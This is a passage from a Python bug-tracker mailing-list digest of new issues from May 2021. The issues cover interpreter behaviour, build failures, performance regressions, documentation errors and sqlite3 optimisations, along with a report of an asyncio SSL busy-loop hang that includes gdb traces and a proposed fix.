assignee: Mark.Shannon
components: Interpreter Core
messages: 392906
nosy: Mark.Shannon
priority: normal
severity: normal
status: open
title: Store locals and evaluation stack should be stored in a contiguous, per-thread stack
type: performance

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44032>
_______________________________________

From report at bugs.python.org  Tue May  4 12:51:35 2021
From: report at bugs.python.org (Shreyan Avigyan)
Date: Tue, 04 May 2021 16:51:35 +0000
Subject: [New-bugs-announce] [issue44033] Adding multiple keys of the same
 name to a dict doesn't raise an exception
Message-ID: <1620147095.86.0.59311867828.issue44033@roundup.psfhosted.org>


New submission from Shreyan Avigyan <shreyan.avigyan at gmail.com>:

Adding multiple keys of the same name to a dict should raise an exception but instead causes a different behavior. For example consider this code,

>>> d = {"x" : "First value", "x" : "Second value", "y" : "Third value"}

One would expect a error because there two keys with the same name or that Python will add "x" : "First value" and will skip "x" : "Second value". But the result is opposite,

>>> d
{'x': 'Second value', 'y': 'Third value'}

Is this a bug or is this an intended behavior? (I may have missed out information related to this in the documentation. Kindly correct me if that's the case.)

----------
messages: 392918
nosy: shreyanavigyan
priority: normal
severity: normal
status: open
title: Adding multiple keys of the same name to a dict doesn't raise an exception
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44033>
_______________________________________

From report at bugs.python.org  Tue May  4 12:58:33 2021
From: report at bugs.python.org (Backbench Family)
Date: Tue, 04 May 2021 16:58:33 +0000
Subject: [New-bugs-announce] [issue44034] Incorrect type casting of float
 into int
Message-ID: <1620147513.11.0.38970557678.issue44034@roundup.psfhosted.org>


New submission from Backbench Family <hbutt4319 at gmail.com>:

y = int(1.999999999999999) # fifteen decimal points
print(y)
1       # output is 1

y = int(1.9999999999999999) # sixteen decimal points
print(y)
2       # output is 2
It shows 1 when we type fifteen decimal whereas when we add sixteen decimal points the output becomes 2.

----------
components: Windows
messages: 392919
nosy: hbutt4319, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Incorrect type casting of float into int
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44034>
_______________________________________

From report at bugs.python.org  Tue May  4 12:58:34 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 04 May 2021 16:58:34 +0000
Subject: [New-bugs-announce] [issue44035] Regenerating the configure script
 fails even if dependencies are satisfied
Message-ID: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

I have installed autoconf-archive and autoconf 2.69 and tried to regenerate the configure script and it fails:


$ ls /share/aclocal/ax_* | wc -l
572

$ autoconf --version
autoconf (GNU Autoconf) 2.69
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+/Autoconf: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>, <http://gnu.org/licenses/exceptions.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by David J. MacKenzie and Akim Demaille.

$ autoreconf -v -f -i
autoreconf: Entering directory `.'
autoreconf: configure.ac: not using Gettext
autoreconf: running: aclocal --force
autoreconf: configure.ac: tracing
autoreconf: configure.ac: not using Libtool
autoreconf: running: /opt/bb/bin/autoconf --force
autoreconf: running: /opt/bb/bin/autoheader --force
autoreconf: configure.ac: not using Automake
autoreconf: Leaving directory `.'

$ ./configure
configure: error: Please install autoconf-archive package and re-run autoreconf

----------
messages: 392920
nosy: christian.heimes, pablogsal
priority: normal
severity: normal
status: open
title: Regenerating the configure script fails even if dependencies are satisfied

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44035>
_______________________________________

From report at bugs.python.org  Tue May  4 13:19:04 2021
From: report at bugs.python.org (ghost43)
Date: Tue, 04 May 2021 17:19:04 +0000
Subject: [New-bugs-announce] [issue44036] asyncio SSL server can be DOSed,
 event loop gets blocked: busy loops and uses 100% CPU
Message-ID: <1620148744.77.0.874589771286.issue44036@roundup.psfhosted.org>


New submission from ghost43 <somber.night at protonmail.com>:

This is about a potential DOS vector that can get an asyncio server serving SSL connections to enter a busy loop and hang. To recover the server (python process) needs to be restarted.

See downstream report at https://github.com/spesmilo/electrumx/issues/92

ElectrumX is server software that serves JSON-RPC requests either directly over plaintext TCP or over SSL/TLS (no HTTP involved). The server code is written using asyncio. The most popular client is also written using python+asyncio. However, there are other server implementations (e.g. in Rust), and other clients (e.g. in javascript, scala, java). The servers are part of a federated network and peer with each other.

In the last 1+ year, server operators have started reporting that the python process (of ElectrumX) sporadically hangs: it uses 100% CPU and stops serving clients or accepting new connections. The only way we could find to recover is restarting the server (the python process); waiting for even days did not help, python was stuck. The hang seemed to mostly happen on busy servers that serve several thousands of concurrent sessions, and even on those only happened e.g. once a month. So the hang was difficult to reproduce.

Nevertheless we observed that the hang only happens if it is the asyncio server that handles SSL, i.e. if the server operator put nginx in front of the python process and handles SSL termination in nginx, they would be unaffected. One server operator whose server at one point hanged multiple times a day confirmed this, and reported that nginx subsequently started logging lines like this:
```
2021/01/11 02:28:30 [crit] 21#21: *437620 SSL_shutdown() failed (SSL: error:14094123:SSL routines:ssl3_read_bytes:application data after close notify) while proxying connection, client: REDACTED, server: 0.0.0.0:50002, upstream: "127.0.0.1:50213", bytes from/to client:81/205, bytes from/to upstream:205/0
```

Over these last months, the hang has been reproduced on many different python versions by different people, e.g. 3.7.1, 3.7.5, 3.8.5, 3.9.1, 3.9.4.

A few days ago, many servers hanged almost simultaneously, and when restarted, they would soon hang again at most a few hours later. Presumably someone either flooded the network with buggy clients, or it might have been an attack. Anyway, this allowed me to look into this better. I set up gdb and waited. This was on ubuntu 20.04 with python 3.8.5 and openssl=1.1.1f-1ubuntu2.3.

It seems the event loop thread is stuck in a busy loop.
The deepest common stack frame looks to be at
https://github.com/python/cpython/blob/v3.8.5/Lib/asyncio/sslproto.py#L675

```
(gdb) py-bt
Traceback (most recent call first):
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 535, in feed_appdata

  File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog
    ssldata, offset = self._sslpipe.feed_appdata(data, offset)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata
    self._process_write_backlog()
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write
    self._ssl_protocol._write_appdata(data)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write
    self._asyncio_transport.write(framed_message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message
    await self.transport.write(message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request
    await self._send_message(message)
  <built-in method run of Context object at remote 0x7f09e30eb6c0>
  File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
    self._context.run(self._callback, *self._args)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once
--Type <RET> for more, q to quit, c to continue without paging--
  File "/usr/lib/python3.8/asyncio/base_events.py", line 826, in run_forever
    None, getaddr_func, host, port, family, type, proto, flags)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 603, in run_until_complete
    self.run_forever()
  File "/usr/lib/python3.8/asyncio/runners.py", line 299, in run
  File "/usr/local/bin/electrumx_server", line 35, in main
    asyncio.run(controller.run())
  File "/usr/local/bin/electrumx_server", line 43, in <module>
    main()
```
```
(gdb) py-list
 530            except (SystemExit, KeyboardInterrupt):
 531                raise
 532            except BaseException as e:
 533                self._fatal_error(e, 'SSL error in data received')
 534                return
>535
 536            for chunk in ssldata:
 537                self._transport.write(chunk)
 538
 539            for chunk in appdata:
 540                if chunk:
```
```
(gdb) py-locals
self = <_SSLPipe(_context=<SSLContext at remote 0x7f0a30dc00c0>, _server_side=True, _server_hostname=None, _state='WRAPPED', _incoming=<_ssl.MemoryBIO at remote 0x7f09cc0925b0>, _outgoing=<_ssl.MemoryBIO at remote 0x7f09b919c430>, _sslobj=<SSLObject(_sslobj=<_ssl._SSLSocket at remote 0x7f09cc8c1630>) at remote 0x7f09db428910>, _need_ssldata=False, _handshake_cb=<method at remote 0x7f09c0177a00>, _shutdown_cb=None) at remote 0x7f09db43f160>
data = b'{"jsonrpc": "2.0", "result": null, "id": 18}\n'
offset = 0
ssldata = [b'\x17\x03\x03\x00\x13<\x8fh\x93\xd3\xd7M\xb9\xbd\xb6\xad\x08\x1bZ\x857\x0c\xe4\xac']
view = <memoryview at remote 0x7f09d295be80>
exc_errno = 5
```

```
(gdb) cont
Continuing.
^C
Thread 1 "electrumx_serve" received signal SIGINT, Interrupt.
memory_getbuf (self=0x7f09b69a3880, view=0x7ffcb6829200, flags=0)
    at ../Objects/memoryobject.c:1441
1441    ../Objects/memoryobject.c: No such file or directory.
(gdb) py-bt
Traceback (most recent call first):
  File "/usr/lib/python3.8/ssl.py", line 897, in write
    return self._sslobj.write(data)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 262, in feed_appdata
    offset += self._sslobj.write(view[offset:])
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog
    ssldata, offset = self._sslpipe.feed_appdata(data, offset)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata
    self._process_write_backlog()
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write
    self._ssl_protocol._write_appdata(data)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write
    self._asyncio_transport.write(framed_message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message
    await self.transport.write(message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request
    await self._send_message(message)
  <built-in method run of Context object at remote 0x7f09e30eb6c0>
  File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
--Type <RET> for more, q to quit, c to continue without paging--
    self._context.run(self._callback, *self._args)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once
  File "/usr/lib/python3.8/asyncio/base_events.py", line 826, in run_forever
    None, getaddr_func, host, port, family, type, proto, flags)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 603, in run_until_complete
    self.run_forever()
  File "/usr/lib/python3.8/asyncio/runners.py", line 299, in run
  File "/usr/local/bin/electrumx_server", line 35, in main
    asyncio.run(controller.run())
  File "/usr/local/bin/electrumx_server", line 43, in <module>
    main()
(gdb)
(gdb) cont
Continuing.
^C
(gdb) py-bt
Traceback (most recent call first):
  <built-in method len of module object at remote 0x7f0a34f8e0e0>
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 535, in feed_appdata

  File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog
    ssldata, offset = self._sslpipe.feed_appdata(data, offset)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata
    self._process_write_backlog()
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write
    self._ssl_protocol._write_appdata(data)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write
    self._asyncio_transport.write(framed_message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message
    await self.transport.write(message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request
    await self._send_message(message)
  <built-in method run of Context object at remote 0x7f09e30eb6c0>
  File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
    self._context.run(self._callback, *self._args)
--Type <RET> for more, q to quit, c to continue without paging--
  File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once
  File "/usr/lib/python3.8/asyncio/base_events.py", line 826, in run_forever
    None, getaddr_func, host, port, family, type, proto, flags)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 603, in run_until_complete
    self.run_forever()
  File "/usr/lib/python3.8/asyncio/runners.py", line 299, in run
  File "/usr/local/bin/electrumx_server", line 35, in main
    asyncio.run(controller.run())
  File "/usr/local/bin/electrumx_server", line 43, in <module>
    main()
    main()
(gdb) cont
Continuing.
^C
Thread 1 "electrumx_serve" received signal SIGINT, Interrupt.
PySlice_New (start=0, stop=None, step=0x0) at ../Objects/sliceobject.c:123
123     ../Objects/sliceobject.c: No such file or directory.
(gdb)
Continuing.
^C
Thread 1 "electrumx_serve" received signal SIGINT, Interrupt.
0x00000000005d4390 in long_richcompare (
    self=<SSLErrorNumber(_value_=5, _name_='SSL_ERROR_SYSCALL', __objclass__=<EnumMeta(_generate_next_value_=<function at remote 0x7f0a34e119d0>, __doc__='An enumeration.', __module__='ssl', _member_names_=['SSL_ERROR_SSL', 'SSL_ERROR_WANT_READ', 'SSL_ERROR_WANT_WRITE', 'SSL_ERROR_WANT_X509_LOOKUP', 'SSL_ERROR_SYSCALL', 'SSL_ERROR_ZERO_RETURN', 'SSL_ERROR_WANT_CONNECT', 'SSL_ERROR_EOF', 'SSL_ERROR_INVALID_ERROR_CODE'], _member_map_={'SSL_ERROR_SSL': <SSLErrorNumber(_value_=1, _name_='SSL_ERROR_SSL', __objclass__=<...>) at remote 0x7f0a3487fe00>, 'SSL_ERROR_WANT_READ': <SSLErrorNumber(_value_=2, _name_='SSL_ERROR_WANT_READ', __objclass__=<...>) at remote 0x7f0a3487fe80>, 'SSL_ERROR_WANT_WRITE': <SSLErrorNumber(_value_=3, _name_='SSL_ERROR_WANT_WRITE', __objclass__=<...>) at remote 0x7f0a3487ff00>, 'SSL_ERROR_WANT_X509_LOOKUP': <SSLErrorNumber(_value_=4, _name_='SSL_ERROR_WANT_X509_LOOKUP', __objclass__=<...>) at remote 0x7f0a3487ff80>, 'SSL_ERROR_SYSCALL': <...>, 'SSL_ERROR_ZERO_RETURN': <SSLErrorNumber(_value_=6, _nam...(truncated), other=5, op=2) at ../Objects/longobject.c:3083
3083    ../Objects/longobject.c: No such file or directory.
(gdb) py-bt
Traceback (most recent call first):
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 526, in feed_appdata
    return
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog
    ssldata, offset = self._sslpipe.feed_appdata(data, offset)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata
    self._process_write_backlog()
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write
    self._ssl_protocol._write_appdata(data)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write
    self._asyncio_transport.write(framed_message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message
    await self.transport.write(message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request
    await self._send_message(message)
  <built-in method run of Context object at remote 0x7f09e30eb6c0>
  File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
    self._context.run(self._callback, *self._args)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once
--Type <RET> for more, q to quit, c to continue without paging--
(gdb)
(gdb) cont
Continuing.
^C
Thread 1 "electrumx_serve" received signal SIGINT, Interrupt.
0x00000000004f7fa0 in builtin_len (module=<optimized out>, obj=<optimized out>)
    at ../Objects/longobject.c:61
61      ../Objects/longobject.c: No such file or directory.
(gdb) py-bt
Traceback (most recent call first):
  <built-in method len of module object at remote 0x7f0a34f8e0e0>
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 535, in feed_appdata

  File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog
    ssldata, offset = self._sslpipe.feed_appdata(data, offset)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata
    self._process_write_backlog()
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write
    self._ssl_protocol._write_appdata(data)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write
    self._asyncio_transport.write(framed_message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message
    await self.transport.write(message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request
    await self._send_message(message)
  <built-in method run of Context object at remote 0x7f09e30eb6c0>
  File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
    self._context.run(self._callback, *self._args)
--Type <RET> for more, q to quit, c to continue without paging--
(gdb) cont
Continuing.
^C
Thread 1 "electrumx_serve" received signal SIGINT, Interrupt.
PyType_IsSubtype (b=0x907020 <_PyNone_Type>, a=0x90a860 <PyUnicode_Type>)
    at ../Objects/typeobject.c:1370
1370    ../Objects/typeobject.c: No such file or directory.
(gdb) py-bt
Traceback (most recent call first):
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 268, in feed_appdata
    if exc.reason == 'PROTOCOL_IS_SHUTDOWN':
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog
    ssldata, offset = self._sslpipe.feed_appdata(data, offset)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata
    self._process_write_backlog()
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write
    self._ssl_protocol._write_appdata(data)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write
    self._asyncio_transport.write(framed_message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message
    await self.transport.write(message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request
    await self._send_message(message)
  <built-in method run of Context object at remote 0x7f09e30eb6c0>
  File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
    self._context.run(self._callback, *self._args)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once
--Type <RET> for more, q to quit, c to continue without paging--
(gdb) cont
Continuing.
^C
Thread 1 "electrumx_serve" received signal SIGINT, Interrupt.
__GI___errno_location () at errno-loc.c:25
25      errno-loc.c: No such file or directory.
(gdb) py-bt
Traceback (most recent call first):
  File "/usr/lib/python3.8/ssl.py", line 897, in write
    return self._sslobj.write(data)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 262, in feed_appdata
    offset += self._sslobj.write(view[offset:])
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog
    ssldata, offset = self._sslpipe.feed_appdata(data, offset)
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata
    self._process_write_backlog()
  File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write
    self._ssl_protocol._write_appdata(data)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write
    self._asyncio_transport.write(framed_message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message
    await self.transport.write(message)
  File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request
    await self._send_message(message)
  <built-in method run of Context object at remote 0x7f09e30eb6c0>
  File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
```

Note that around line https://github.com/python/cpython/blob/v3.8.5/Lib/asyncio/sslproto.py#L262,
exc_errno = 5 corresponds to `ssl.SSL_ERROR_SYSCALL`.

Considering the gdb backtraces above, it seems to me the execution is stuck in that while loop, always getting `ssl.SSL_ERROR_SYSCALL` and suppressing it.
Note that this code is not async, so the whole event loop is blocked.
I have patched my python interpreter to not suppress that exception but instead re-raise it, and recompiled; and the hangs have gone away; I can no longer reproduce them.

I used the following patch on top of 3.9.4 (but note the code in this file has not changed for years):

```
 Lib/asyncio/sslproto.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/Lib/asyncio/sslproto.py b/Lib/asyncio/sslproto.py
index cad25b2653..f67898a777 100644
--- a/Lib/asyncio/sslproto.py
+++ b/Lib/asyncio/sslproto.py
@@ -267,8 +267,7 @@ class _SSLPipe(object):
                 if exc.reason == 'PROTOCOL_IS_SHUTDOWN':
                     exc_errno = exc.errno = ssl.SSL_ERROR_WANT_READ
                 if exc_errno not in (ssl.SSL_ERROR_WANT_READ,
-                                     ssl.SSL_ERROR_WANT_WRITE,
-                                     ssl.SSL_ERROR_SYSCALL):
+                                     ssl.SSL_ERROR_WANT_WRITE):
                     raise
                 self._need_ssldata = (exc_errno == ssl.SSL_ERROR_WANT_READ)
 
```

Frankly I don't understand why the `ssl.SSL_ERROR_SYSCALL` error is special cased in the try-except, hence this might break something else. The git blame or the python docs were of no help either (to understand that exception). However with this patch my server seems to be working correctly and is no longer getting stuck.

Unfortunately I don't have code that triggers the hang.

----------
assignee: christian.heimes
components: SSL, asyncio
messages: 392923
nosy: asvetlov, christian.heimes, ghost43, yselivanov
priority: normal
severity: normal
status: open
title: asyncio SSL server can be DOSed, event loop gets blocked: busy loops and uses 100% CPU
type: security
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44036>
_______________________________________

From report at bugs.python.org  Tue May  4 14:19:14 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 04 May 2021 18:19:14 +0000
Subject: [New-bugs-announce] [issue44037] Broad performance regression from
 3.10a7 to 3.10b1
Message-ID: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Running Tools/scripts/var_access_benchmark.py on the production macOS builds on python.org shows a performance drop-off between alpha-7 and beta-1.

Apple Silicon
-------------
read local            4.1ns ->  4.5ns
read non_local        4.1ns ->  4.6ns
read global           4.2ns ->  4.9ns
read builtin          4.2ns ->  5.3ns
classvar from cls    10.1ns -> 12.6ns
classvar from inst    9.5      11.7
read instvar          9.2      11.3
instvar with slots    5.8       8.2
namedtuple           11.1      14.2
  ...

Since the effects are seen in almost every category, I suspect a build problem, a change to the eval loop, or a failure to inline some of the shared functions that used to be macros.

----------
components: Build
keywords: 3.10regression
messages: 392934
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Broad performance regression from 3.10a7 to 3.10b1
type: performance
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44037>
_______________________________________

From report at bugs.python.org  Tue May  4 16:08:08 2021
From: report at bugs.python.org (Webb Scales)
Date: Tue, 04 May 2021 20:08:08 +0000
Subject: [New-bugs-announce] [issue44038] In documentation Section 8.6,
 the definition of parameter_list need correcting
Message-ID: <1620158888.72.0.734387137059.issue44038@roundup.psfhosted.org>


New submission from Webb Scales <wscales at redhat.com>:

In Section 8.6 ("Function definitions"; https://docs.python.org/3/reference/compound_stmts.html#function-definitions), the definition of "parameter_list" looks slightly wrong:

parameter_list ::= defparameter ("," defparameter)* "," "/" ["," [parameter_list_no_posonly]] | parameter_list_no_posonly

The "/" (and the comma preceding it) is not a required component.  (Sorry, I'm afraid I'm not smart enough right now to suggest a correction.  :-p )

----------
assignee: docs at python
components: Documentation
messages: 392943
nosy: docs at python, webbnh
priority: normal
severity: normal
status: open
title: In documentation Section 8.6, the definition of parameter_list need correcting
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44038>
_______________________________________

From report at bugs.python.org  Tue May  4 16:46:01 2021
From: report at bugs.python.org (Brad Larsen)
Date: Tue, 04 May 2021 20:46:01 +0000
Subject: [New-bugs-announce] [issue44039] Duplicated assignment in
 Modules/_randommodule.c
Message-ID: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org>


New submission from Brad Larsen <brad at bradfordlarsen.com>:

In Modules/_randommodule.c:600, `longval` is used in its own initialization.  This seems to be a typo introduced in commit cc0cd43c0f9 for bpo-1635741.

  585 static int
  586 _random_exec(PyObject *module)
  587 {
  588     _randomstate *state = get_random_state(module);
  589
  590     state->Random_Type = PyType_FromModuleAndSpec(
  591         module, &Random_Type_spec, NULL);
  592     if (state->Random_Type == NULL) {
  593         return -1;
  594     }
  595     if (PyModule_AddType(module, (PyTypeObject *)state->Random_Type) < 0) {
  596         return -1;
  597     }
  598
  599     /* Look up and save int.__abs__, which is needed in random_seed(). */
* 600     PyObject *longval = longval = PyLong_FromLong(0);
  601     if (longval == NULL) {
  602         return -1;
  603     }
  604
  605     PyObject *longtype = PyObject_Type(longval);
  606     Py_DECREF(longval);
  607     if (longtype == NULL) {
  608         return -1;
  609     }
  610
  611     state->Long___abs__ = PyObject_GetAttrString(longtype, "__abs__");
  612     Py_DECREF(longtype);
  613     if (state->Long___abs__ == NULL) {
  614         return -1;
  615     }
  616     return 0;
  617 }

----------
components: Extension Modules
messages: 392949
nosy: blarsen, christian.heimes
priority: normal
severity: normal
status: open
title: Duplicated assignment in Modules/_randommodule.c
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44039>
_______________________________________

From report at bugs.python.org  Tue May  4 17:43:46 2021
From: report at bugs.python.org (Kevin Follstad)
Date: Tue, 04 May 2021 21:43:46 +0000
Subject: [New-bugs-announce] [issue44040] Update broken link in pathlib
 source
Message-ID: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org>


New submission from Kevin Follstad <kfollstad at gmail.com>:

Update broken link (repeated in several places) in pathlib sources.

- # (see https://bitbucket.org/pitrou/pathlib/issue/12/)
+ # (see http://web.archive.org/web/20200623061726/https://bitbucket.org/pitrou/pathlib/issues/12/ )

----------
assignee: docs at python
components: Documentation
messages: 392960
nosy: docs at python, kfollstad
priority: normal
severity: normal
status: open
title: Update broken link in pathlib source
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44040>
_______________________________________

From report at bugs.python.org  Tue May  4 18:33:34 2021
From: report at bugs.python.org (Erlend Egeberg Aasland)
Date: Tue, 04 May 2021 22:33:34 +0000
Subject: [New-bugs-announce] [issue44041] [sqlite3] optimisation: only call
 sqlite3_column_count when needed
Message-ID: <1620167614.6.0.723645950757.issue44041@roundup.psfhosted.org>


New submission from Erlend Egeberg Aasland <erlend.aasland at innova.no>:

Pr. now, we call sqlite3_column_count() for every iteration in the _pysqlite_query_execute() loop. If detect_types is set, we call it twice for every loop.

Suggesting to move it out of the loop and into the pysqlite_Statement object. In pysqlite_statement_create(), after sqlite3_prepare_v2(), if self->is_dml == 0 we fetch the column count: self->column_count = sqlite3_column_count(). Else, it's 0.


# SQLite API interaction examples (pseudo-code), as diffs
--- now
+++ patched

## Create table
 sqlite3_prepare_v2
+sqlite3_column_count
 sqlite3_bind_blob_parameter_count
 sqlite3_step
-sqlite3_column_count
 sqlite3_last_insert_rowid
 sqlite3_reset

## Triple insert (executemany)
 sqlite3_prepare_v2
 sqlite3_get_autocommit
 sqlite3_bind_blob_parameter_count
 sqlite3_bind_int64
 sqlite3_step
-sqlite3_column_count
 sqlite3_changes
 sqlite3_reset
 sqlite3_bind_blob_parameter_count
 sqlite3_bind_int64
 sqlite3_step
-sqlite3_column_count
 sqlite3_changes
 sqlite3_reset
 sqlite3_bind_blob_parameter_count
 sqlite3_bind_int64
 sqlite3_step
-sqlite3_column_count
 sqlite3_changes
 sqlite3_reset

----------
components: Extension Modules
messages: 392964
nosy: berker.peksag, erlendaasland, serhiy.storchaka
priority: normal
severity: normal
status: open
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44041>
_______________________________________

From report at bugs.python.org  Tue May  4 19:41:24 2021
From: report at bugs.python.org (Erlend Egeberg Aasland)
Date: Tue, 04 May 2021 23:41:24 +0000
Subject: [New-bugs-announce] [issue44042] [sqlite3]
 _pysqlite_connection_begin() optimisations
Message-ID: <1620171684.78.0.466363049979.issue44042@roundup.psfhosted.org>


New submission from Erlend Egeberg Aasland <erlend.aasland at innova.no>:

The following optimisations can be applied to _pysqlite_connection_begin():

1. Return an int instead of a PyObject pointer

   Per now, we do Py_RETURN_NONE and Py_DECREF(result) if _pysqlite_connection_begin() was successful (normally the case). There's no reason to do this. Let's just it the C way: return -1 on error and 0 if things are ok.


2. Defer error checking till post sqlite3_finalize()

   Any error code returned by sqlite3_step() will also be returned by sqlite3_finalize() for the same statement. From the SQLite docs:
   "If the most recent evaluation of statement S failed, then sqlite3_finalize(S) returns the appropriate error code or extended error code."


3. Move _pysqlite_connection_begin() to Modules/_sqlite/cursor.c

   The single use is in _pysqlite_query_execute() in cursor.c. Moving it makes it possible for the compiler to apply more optimisations. At least so I've heard :)
   (As a side effect, the namespace will be cleaner.)

----------
messages: 392967
nosy: berker.peksag, erlendaasland, serhiy.storchaka
priority: normal
severity: normal
status: open
title: [sqlite3]  _pysqlite_connection_begin() optimisations
type: performance
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44042>
_______________________________________

From report at bugs.python.org  Wed May  5 01:31:25 2021
From: report at bugs.python.org (Anthony Sottile)
Date: Wed, 05 May 2021 05:31:25 +0000
Subject: [New-bugs-announce] [issue44043] 3.10 b1 armhf Bus Error in hashlib
 test: test_gil
Message-ID: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

terribly sorry, I don't have much information to go off on this other than the build logs from deadsnakes.

I retried this build twice and it seems it consistently fails in this position:

https://launchpadlibrarian.net/537139233/buildlog_ubuntu-bionic-armhf.python3.10_3.10.0~b1-1+bionic2_BUILDING.txt.gz

The relevant logs from the build:

```
./python -m test --pgo --timeout=1200 || true
0:00:00 load avg: 2.37 Run tests sequentially (timeout: 20 min)
0:00:00 load avg: 2.37 [ 1/44] test_array
0:00:11 load avg: 2.23 [ 2/44] test_base64
0:00:15 load avg: 2.13 [ 3/44] test_binascii
